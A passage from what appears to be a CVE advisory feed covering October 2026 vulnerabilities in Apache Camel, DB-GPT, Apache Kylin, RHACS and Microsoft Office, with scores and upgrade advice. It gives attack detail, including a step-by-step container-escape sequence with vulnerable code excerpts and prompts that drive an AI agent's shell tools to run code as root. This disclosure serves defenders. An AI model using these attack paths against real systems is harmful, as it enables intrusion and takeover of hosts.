EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79983&date=2026-10-25).
Sources:
NVD CVE-2026-79983: https://nvd.nist.gov/vuln/detail/CVE-2026-79983
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79983&date=2026-10-25
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache Camel FTP component.



This issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1.



The Camel remote-file consumers poll a directory on a remote server and build the absolute remote path of each file by concatenating the configured directory with the file name reported in the server's directory listing. That concatenation (FtpUtils.absoluteFilePath and GenericFileConsumer) applied no lexical normalization and no check that the result stayed inside the directory being polled, and the resulting path became the operand for every subsequent remote operation on the file: retrieval (FtpOperations.retrieveFile / SftpOperations, reached from GenericFileConsumer where the retrieve name is taken verbatim from GenericFile.getAbsoluteFilePath), deletion when delete=true (GenericFileDeleteProcessStrategy), and renaming when move, preMove, moveFailed or readLock=rename is configured (GenericFileProcessStrategySupport and GenericFileRenameExclusiveReadLockStrategy). Neither isValidFile nor isMatched performed any containment check. A listing entry that is not a single path segment therefore resolved to a path outside the configured polling directory, causing Camel to read, delete or rename files outside it using the endpoint's own credentials. A listing name is not route-controlled data. It is supplied by the remote server, and the FTP control channel carries no integrity protection at all, so an on-path attacker can rewrite a LIST response without holding any credentials; a compromised, malicious or multi-tenant server, or a server backed by a virtual filesystem, can emit such a name directly. Retrieval is reachable in a default consumer configuration, since the remote consumers download every listed file; deletion and renaming additionally require one of the disposition options above, all of which are common. Escape from the directory Camel was configured to poll is unconditional, while escape from the server's own account boundary additionally depends on whether that server confines the account. The jailStartingDirectory option, which is documented as restricting Camel to the starting directory and is enabled by default, governed producer writes and, since the localWorkDirectory containment work, consumer downloads to the local work directory - but it did not constrain this remote operand, so its name and description claimed a boundary that was not enforced here. The same entry point had already been recognised on the local side: the localWorkDirectory download path was constrained so that a remote file name containing parent-directory segments could not resolve outside the local work directory. The remote operand was the remaining half of that surface. This artifact provides the ftp, ftps and sftp schemes, all of which are affected. The reporter demonstrated the issue end to end against an ftp endpoint, driving a Camel route with a malicious server whose LIST response named a file outside the polled directory.



Upgrade to Apache Camel 4.23.0, which fixes the issue. Users on the 4.22.x releases stream should upgrade to 4.22.1. Users on the 4.18.x LTS releases stream should upgrade to 4.18.5. The 4.14.x stream reached end of life and does not receive this fix; users on it should move to a supported releases stream.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of Untrusted Data vulnerability in Apache Camel Spring Redis component.
https://kevwire.com/record/CVE-2026-78165
Deserialization of Untrusted Data vulnerability in Apache Camel Spring Redis component. (Oct 19, 2026).
Deserialization of Untrusted Data vulnerability in Apache Camel Spring Redis component.



This issue affects Apache Camel: from 2.11.0 before 4.18.5, from 4.19.0 before 4.22.1.



RedisConfiguration.getSerializer lazily built a bare JdkSerializationRedisSerializer whenever no serializer option was configured, and that instance was used for every read the component performs. Spring's implementation delegates through DeserializingConverter to DefaultDeserializer, which reads the bytes with a ConfigurableObjectInputStream and installs no java.io.ObjectInputFilter on the stream, so an arbitrary serialized class graph was materialised and its readObject method executed. RedisConsumer.setBody applied that serializer to the raw bytes of every message published to the subscribed channels, before the Exchange was constructed and therefore before any route logic could inspect the message, so an actor able to issue PUBLISH on a subscribed channel reached the deserialization sink directly. The same default serializer backed the RedisTemplate built by RedisConfiguration.createDefaultTemplate, so the producer read commands GET, HGET, HGETALL and HVALS deserialized whatever was stored in the Redis keyspace, and SpringRedisIdempotentRepository shared that template. Configuring a custom redisTemplate did not close the consumer path, because RedisConsumer.setBody reads getSerializer directly rather than the serializer attached to the template, so a deployment that had wired a String serializer into its own template remained exposed on the consumer side unless it also set the serializer option. The component never constructed a java.io.ObjectInputStream itself, which is why earlier passes over the Camel codebase for unfiltered Java deserialization did not reach it. The behaviour dates back to the introduction of the component, first released in 2.11.0, and was unchanged until this fix.



Users are recommended to upgrade to version 4.23.0, which fixes the issue. If users are on the 4.22.x releases stream, then they are suggested to upgrade to 4.22.1. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.5. The 4.14.x releases stream and earlier re
CVSS 8.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-78165).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-78165&date=2026-10-25).
Sources:
NVD CVE-2026-78165: https://nvd.nist.gov/vuln/detail/CVE-2026-78165
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-78165&date=2026-10-25
Deserialization of Untrusted Data vulnerability in Apache Camel Spring Redis component.



This issue affects Apache Camel: from 2.11.0 before 4.18.5, from 4.19.0 before 4.22.1.



RedisConfiguration.getSerializer lazily built a bare JdkSerializationRedisSerializer whenever no serializer option was configured, and that instance was used for every read the component performs. Spring's implementation delegates through DeserializingConverter to DefaultDeserializer, which reads the bytes with a ConfigurableObjectInputStream and installs no java.io.ObjectInputFilter on the stream, so an arbitrary serialized class graph was materialised and its readObject method executed. RedisConsumer.setBody applied that serializer to the raw bytes of every message published to the subscribed channels, before the Exchange was constructed and therefore before any route logic could inspect the message, so an actor able to issue PUBLISH on a subscribed channel reached the deserialization sink directly. The same default serializer backed the RedisTemplate built by RedisConfiguration.createDefaultTemplate, so the producer read commands GET, HGET, HGETALL and HVALS deserialized whatever was stored in the Redis keyspace, and SpringRedisIdempotentRepository shared that template. Configuring a custom redisTemplate did not close the consumer path, because RedisConsumer.setBody reads getSerializer directly rather than the serializer attached to the template, so a deployment that had wired a String serializer into its own template remained exposed on the consumer side unless it also set the serializer option. The component never constructed a java.io.ObjectInputStream itself, which is why earlier passes over the Camel codebase for unfiltered Java deserialization did not reach it. The behaviour dates back to the introduction of the component, first released in 2.11.0, and was unchanged until this fix.



Users are recommended to upgrade to version 4.23.0, which fixes the issue. If users are on the 4.22.x releases stream, then they are suggested to upgrade to 4.22.1. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.5. The 4.14.x releases stream and earlier reached end of life before this issue was resolved and will not receive a fix, so deployments on those lines must move to a supported release. For deployments that cannot upgrade immediately, set the JVM-wide jdk.serialFilter system property, which the affected code path honours because it reads through a java.io.ObjectInputStream, for example -Djdk.serialFilter=!java.net.**;java.**;javax.**;org.apache.camel.**;!* ; or set the serializer endpoint option to a serializer that does not use Java serialization, such as StringRedisSerializer, noting that this must be set as the serializer option and not only on a custom redisTemplate. As defence in depth, require authentication on the Redis instance and restrict which clients may publish to the subscribed channels, and do not expose a Redis instance consumed by Camel to untrusted networks.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### DB-GPT through 0.8.2 contains a hardcoded credentials vulnerability in its default docker-compose.yml that sets a static MYSQL_ROOT_PASSWORD and publishes port 3306 on all...
https://kevwire.com/record/CVE-2026-77933
DB-GPT through 0.8.2 contains a hardcoded credentials vulnerability in its default docker-compose.yml that sets a static MYSQL_ROOT_PASSWORD and publishes port 3306 on all... (Oct 20, 2026).
DB-GPT through 0.8.2 contains a hardcoded credentials vulnerability in its default docker-compose.yml that sets a static MYSQL_ROOT_PASSWORD and publishes port 3306 on all interfaces. Attackers reaching port 3306 or the shared dbgptnet network can authenticate as root@% to gain full database access including FILE and SUPER privileges.
CVSS 9.3 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-77933).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-77933&date=2026-10-25).
Sources:
NVD CVE-2026-77933: https://nvd.nist.gov/vuln/detail/CVE-2026-77933
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-77933&date=2026-10-25
DB-GPT through 0.8.2 contains a hardcoded credentials vulnerability in its default docker-compose.yml that sets a static MYSQL_ROOT_PASSWORD and publishes port 3306 on all interfaces. Attackers reaching port 3306 or the shared dbgptnet network can authenticate as root@% to gain full database access including FILE and SUPER privileges.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### DB-GPT through 0.8.2 contains an unauthenticated remote code execution vulnerability because the /api/v1/chat/react-agent endpoint relies on a mock get_user_from_headers function...
https://kevwire.com/record/CVE-2026-77932
DB-GPT through 0.8.2 contains an unauthenticated remote code execution vulnerability because the /api/v1/chat/react-agent endpoint relies on a mock get_user_from_headers function... (Oct 20, 2026).
DB-GPT through 0.8.2 contains an unauthenticated remote code execution vulnerability because the /api/v1/chat/react-agent endpoint relies on a mock get_user_from_headers function that grants every caller the admin role. Unauthenticated attackers can send prompts that make the ReAct agent's unsandboxed code_interpreter and shell_interpreter tools run arbitrary Python or bash as root in the webserver container, including reaching the bundled database with default credentials.
CVSS 9.3 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-77932).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-77932&date=2026-10-25).
Sources:
NVD CVE-2026-77932: https://nvd.nist.gov/vuln/detail/CVE-2026-77932
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-77932&date=2026-10-25
DB-GPT through 0.8.2 contains an unauthenticated remote code execution vulnerability because the /api/v1/chat/react-agent endpoint relies on a mock get_user_from_headers function that grants every caller the admin role. Unauthenticated attackers can send prompts that make the ReAct agent's unsandboxed code_interpreter and shell_interpreter tools run arbitrary Python or bash as root in the webserver container, including reaching the bundled database with default credentials.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in Apache Kylin.
https://kevwire.com/record/CVE-2026-108743
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in Apache Kylin. (Oct 16, 2026).
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in Apache Kylin. Impact most to the kylin services that are directly exposed to public network, which is not common. In-house kylin deployments are mostly not impacted.



This issue affects Apache Kylin: from 4.0.4 through 5.0.4.



Users are recommended to upgrade to version 5.0.5, which fixes the issue.
CVSS 8.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108743).
EPSS 1.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108743&date=2026-10-25).
Sources:
NVD CVE-2026-108743: https://nvd.nist.gov/vuln/detail/CVE-2026-108743
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108743&date=2026-10-25
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in Apache Kylin. Impact most to the kylin services that are directly exposed to public network, which is not common. In-house kylin deployments are mostly not impacted.



This issue affects Apache Kylin: from 4.0.4 through 5.0.4.



Users are recommended to upgrade to version 5.0.5, which fixes the issue.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The insights-runtime-extractor runs as a privileged DaemonSet (`hostPID: true`)
that scans container processes for runtime fingerprinting. When scanning a
container, the...
https://kevwire.com/record/CVE-2026-104795
The insights-runtime-extractor runs as a privileged DaemonSet (`hostPID: true`)
that scans container processes for runtime fingerprinting. When scanning a
container, the... (Oct 14, 2026).
The insights-runtime-extractor runs as a privileged DaemonSet (`hostPID: true`)
that scans container processes for runtime fingerprinting. When scanning a
container, the coordinator:

1. **fork()s** a child process
2. **setns()** into the target container's PID and mount namespaces
3. **fchdir()** back to an orphaned FD pointing at the extractor's own root
   filesystem (where `/crio.sock` is hostPath-mounted)
4. Calls **only `seteuid(target_uid)`** — changing the effective UID but leaving
   the **real UID and saved-set-UID at 0** and **retaining the permitted
   capability set**
5. The `check_no_privileged_perms()` guard inspects only the Effective capability
   set (so it passes), and is **skipped entirely when the target runs as uid 0**
6. The `VersionExecutable` fingerprint invokes `fpr_kind_executable` with
   `process.command_line[0]` — the target's argv[0], read from
   `/proc/<pid>/cmdline` and **fully controlled by the workload**
7. `fpr_kind_executable` calls `exec.Command(executable, "--version").Output()`
   — executing the **workload's own binary** inside the workload's mount
   namespace while **ruid=0 in the host user namespace**

The executed process can call `setuid(0)` to restore full root with
`CAP_SYS_ADMIN`, and inherits the orphaned cwd which resolves into the extractor
container's filesystem containing the host CRI-O socket.

## Affected Code

### 1. Insufficient privilege drop (Rust — extractor coordinator)

**File:** `extractor/src/insights_runtime_extractor.rs`

```rust
// Lines 139-146 — seteuid-only drop, guard skipped for root containers
join_process_namespaces(process.pid)?;
change_dir(current_dir);
switch_user(*process.uid)?;
if *process.uid != 0 {
    perms::check_no_privileged_perms()
        .expect("Must not have privileged permissions to run fingerprints");
}
fingerprint::run_fingerprints(&config, out_dir, &process);
```

```rust
// Lines 182-185 — only effective UID changed; ruid/suid stay 0
fn switch_user(uid: u32) -> Result<(), ScannerError> {
    debug!("... Becoming user: {uid}");
    seteuid(uid.into()).map_err(|e| ScannerError::Errno(e))
}
```

### 2. Execution of untrusted binary (Go — fingerprint)

**File:** `fingerp
CVSS 8.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104795).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104795&date=2026-10-25).
Sources:
NVD CVE-2026-104795: https://nvd.nist.gov/vuln/detail/CVE-2026-104795
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104795&date=2026-10-25
The insights-runtime-extractor runs as a privileged DaemonSet (`hostPID: true`)
that scans container processes for runtime fingerprinting. When scanning a
container, the coordinator:

1. **fork()s** a child process
2. **setns()** into the target container's PID and mount namespaces
3. **fchdir()** back to an orphaned FD pointing at the extractor's own root
   filesystem (where `/crio.sock` is hostPath-mounted)
4. Calls **only `seteuid(target_uid)`** — changing the effective UID but leaving
   the **real UID and saved-set-UID at 0** and **retaining the permitted
   capability set**
5. The `check_no_privileged_perms()` guard inspects only the Effective capability
   set (so it passes), and is **skipped entirely when the target runs as uid 0**
6. The `VersionExecutable` fingerprint invokes `fpr_kind_executable` with
   `process.command_line[0]` — the target's argv[0], read from
   `/proc/<pid>/cmdline` and **fully controlled by the workload**
7. `fpr_kind_executable` calls `exec.Command(executable, "--version").Output()`
   — executing the **workload's own binary** inside the workload's mount
   namespace while **ruid=0 in the host user namespace**

The executed process can call `setuid(0)` to restore full root with
`CAP_SYS_ADMIN`, and inherits the orphaned cwd which resolves into the extractor
container's filesystem containing the host CRI-O socket.

## Affected Code

### 1. Insufficient privilege drop (Rust — extractor coordinator)

**File:** `extractor/src/insights_runtime_extractor.rs`

```rust
// Lines 139-146 — seteuid-only drop, guard skipped for root containers
join_process_namespaces(process.pid)?;
change_dir(current_dir);
switch_user(*process.uid)?;
if *process.uid != 0 {
    perms::check_no_privileged_perms()
        .expect("Must not have privileged permissions to run fingerprints");
}
fingerprint::run_fingerprints(&config, out_dir, &process);
```

```rust
// Lines 182-185 — only effective UID changed; ruid/suid stay 0
fn switch_user(uid: u32) -> Result<(), ScannerError> {
    debug!("... Becoming user: {uid}");
    seteuid(uid.into()).map_err(|e| ScannerError::Errno(e))
}
```

### 2. Execution of untrusted binary (Go — fingerprint)

**File:** `fingerprints/pkg/utils/file.go`

```go
// Lines 75-80 — executes a path taken verbatim from workload's argv[0]
func GetExecutableVersionOutput(executable string) (string, error) {
    out, err := exec.Command(executable, "--version").Output()
    if err != nil {
        return "", err
    }
    return string(out), nil
}
```

### 3. Workload-controlled path forwarded (Rust — version_executable)

**File:** `version_executable.rs`

```rust
// Lines 29-34 — workload-controlled command_line[0] forwarded to fingerprint
return Some(vec![
    fpr_kind_executable,
    out_dir.to_string(),
    String::from(&process.command_line[0]),
    String::from(&version_executable.runtime_kind_name),
]);
```

## Attack Pattern

**Attacker:** Any tenant able to schedule a pod (unprivileged, any namespace)
**Victim:** The node running the insights-runtime-extractor DaemonSet
**Trigger:** Automatic — the DaemonSet scans all container processes on the node

**Attack sequence:**

1. Attacker creates a pod whose process name matches a configured
   versioned-executable pattern (`node`, `python`, `python3`, `MainThread`,
   or contains `java`)
2. The pod's main binary (at the path matching argv[0]) is a malicious
   executable that calls `setuid(0)` to restore root
3. When the insights operator triggers a scan, the DaemonSet forks, enters the
   attacker's mount namespace, and executes the attacker's binary with ruid=0
4. The attacker's code regains full root with `CAP_SYS_ADMIN` in the host user
   namespace
5. The inherited cwd contains the host CRI-O socket → full node compromise

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in Red Hat Advanced Cluster Security for Kubernetes (RHACS). The Central SAML authentication ACS endpoint does not retain used SAML assertion or response...
https://kevwire.com/record/CVE-2026-103314
A flaw was found in Red Hat Advanced Cluster Security for Kubernetes (RHACS). The Central SAML authentication ACS endpoint does not retain used SAML assertion or response... (Oct 19, 2026).
A flaw was found in Red Hat Advanced Cluster Security for Kubernetes (RHACS). The Central SAML authentication ACS endpoint does not retain used SAML assertion or response identifiers to prevent replay. An attacker who obtains a valid, unexpired signed SAML response can submit it multiple times and receive distinct Central authentication tokens for the mapped identity.
CVSS 7.4 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103314).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103314&date=2026-10-25).
Sources:
NVD CVE-2026-103314: https://nvd.nist.gov/vuln/detail/CVE-2026-103314
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103314&date=2026-10-25
A flaw was found in Red Hat Advanced Cluster Security for Kubernetes (RHACS). The Central SAML authentication ACS endpoint does not retain used SAML assertion or response identifiers to prevent replay. An attacker who obtains a valid, unexpired signed SAML response can submit it multiple times and receive distinct Central authentication tokens for the mapped identity.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Visio allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-102855
Heap-based buffer overflow in Microsoft Office Visio allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Visio allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102855).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102855&date=2026-10-25).
Sources:
NVD CVE-2026-102855: https://nvd.nist.gov/vuln/detail/CVE-2026-102855
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102855
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102855&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Visio allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-108426
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network. (Oct 15, 2026).
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108426).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108426&date=2026-10-25).
Sources:
NVD CVE-2026-108426: https://nvd.nist.gov/vuln/detail/CVE-2026-108426
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108426
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108426&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-108427
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network. (Oct 15, 2026).
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108427).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108427&date=2026-10-25).
Sources:
NVD CVE-2026-108427: https://nvd.nist.gov/vuln/detail/CVE-2026-108427
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108427
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108427&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-108428
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network. (Oct 15, 2026).
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108428).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108428&date=2026-10-25).
Sources:
NVD CVE-2026-108428: https://nvd.nist.gov/vuln/detail/CVE-2026-108428
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108428
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108428&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-108429
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network. (Oct 15, 2026).
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108429).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108429&date=2026-10-25).
Sources:
NVD CVE-2026-108429: https://nvd.nist.gov/vuln/detail/CVE-2026-108429
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108429
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108429&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-108430
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network. (Oct 15, 2026).
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108430).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108430&date=2026-10-25).
Sources:
NVD CVE-2026-108430: https://nvd.nist.gov/vuln/detail/CVE-2026-108430
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108430
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108430&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Stack-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-108431
Stack-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network. (Oct 15, 2026).
Stack-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108431).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108431&date=2026-10-25).
Sources:
NVD CVE-2026-108431: https://nvd.nist.gov/vuln/detail/CVE-2026-108431
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108431
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108431&date=2026-10-25
Stack-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-108432
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network. (Oct 15, 2026).
